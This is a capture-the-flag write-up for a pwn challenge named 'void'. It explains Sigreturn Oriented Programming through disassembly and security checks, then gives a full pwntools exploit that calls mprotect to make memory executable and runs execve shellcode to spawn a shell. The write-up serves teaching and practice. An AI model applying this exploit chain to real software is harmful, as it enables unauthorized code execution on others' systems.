void
Points: 272
This was one of the good challenges that I tried during the CTF. It was based on a technique called SROP (Sigreturn Oriented Programming).
The purpose of this challenge was to defeat ASLR and so the binary as such consisted of only two functions - main
and _start
both written in simple assembly making use of syscalls.
I'll take you through challenge and how I solved it!
Preliminary checks:
void: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=7fd635b160836aff1b92af6f203e3b1f160f54cc, not stripped
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : ✘
gef➤
As we can see, it is a 64-bit statically linked binary and only NX is enabled! So we'll need to figure out a way to inject shellcode and execute, if at all we use that approach. We will see how that can be done soon enough! For now let's analyze the binary further!
Analysis:
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 main
0x0000000000401020 _start
gef➤ disas main
Dump of assembler code for function main:
0x0000000000401000 <+0>: mov rax,0x0
0x0000000000401007 <+7>: mov rdi,0x0
0x000000000040100e <+14>: mov rsi,rsp
0x0000000000401011 <+17>: mov rdx,0x7d0
0x0000000000401018 <+24>: syscall
0x000000000040101a <+26>: ret
End of assembler dump.
gef➤ disas _start
Dump of assembler code for function _start:
0x0000000000401020 <+0>: xor eax,eax
0x0000000000401022 <+2>: call 0x401000 <main>
0x0000000000401027 <+7>: mov rax,0x3c
0x000000000040102e <+14>: mov rdi,0x0
0x0000000000401035 <+21>: syscall
0x0000000000401037 <+23>: ret
End of assembler dump.
gef➤
Above is the assmbly dump for the two functions main
and _start
. As we can see there are no other functions, and the binary is statically linked, with no procedure linkage table or got address available during run time. Due to this, it becomes a challenge to obtain a leak!
Hoewever if we dive into the program, we can see that, the main()
function reads input from user. However, there is no stack frame defined and rsi points to the top of the stack. So eventually whatever input we give, it will remain at the top of the stack and will get executed as the next instruction.
So how do we go about it? Before discussing that, let us understand what does SROP mean and how it works.
SROP
SROP stands for Sigreturn Oriented Programming and unlike Return Oriented Programming (ROP), it requires only two gadgets: syscall
and a way to set rax
register to 0xf
. In this challenge, it was quite difficult to write 0xf to rax as there weren't suitable gadgets available. But we can make use of the read syscall in main() to read 0xf bytes of input. With this, rax will store the number of characters read, i.e 0xf. Then we call syscall on it. This process comprises of the sigreturn syscall.
The sigreturn is used to return from the signal handler and to clean up the stack frame after a signal has been unblocked. And "cleaning up the stack frame" really means it's restoring important context data that has been saved on the stack temporarily. This data includes values of all registers and some things that are unrelevant for exploitation, which is also the reason why at least 300 bytes are required for it to work. Since we can read upto 2000 bytes of data, it won't be a problem.
For exploitation sake, we make use of SigreturnFrame()
available in pwntools. We can in fact control all registers with this gadget. Before moving onto the exploit, I'd like to remind you that NX is enabled, and since there is no libc we canot ret2libc either. So to break this barrier, we can use the mprotect syscall, to give rwx
permissions to a certain bss section, wherein we can read our shellcode to, and execute it. As there is no stack frame defined, we add a stack frame with asm(add rsp, 100)
, place our shellcode into it, and execute it. (The shellcode used is an execve 64-bit)
Exploit:
from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
#p = remote("tamuctf.com", 443, ssl=True, sni="void")
p = process('./void')
#gdb.attach(p, gdbscript='set disassembly-flavor intel\nb*main\nc\n')
main = 0x0000000000401000
ret = 0x40101a
syscall = 0x0000000000401018
start = 0x400020
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = 0x00000000400000
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = 0x00000000400018# ptr to start
frame.rip = syscall# mprotect syscall
chain = p64(main)
print(str(frame))
pay = p64(main) + p64(syscall) + bytes(frame)
p.send(pay)
sleep(0.1)
p.send(p64(syscall).ljust(15, b'\x00'))
sleep(0.1)
p.send(p64(start) + asm('add rsp, 100') + asm(shellcraft.sh()))
sleep(0.1)
p.interactive()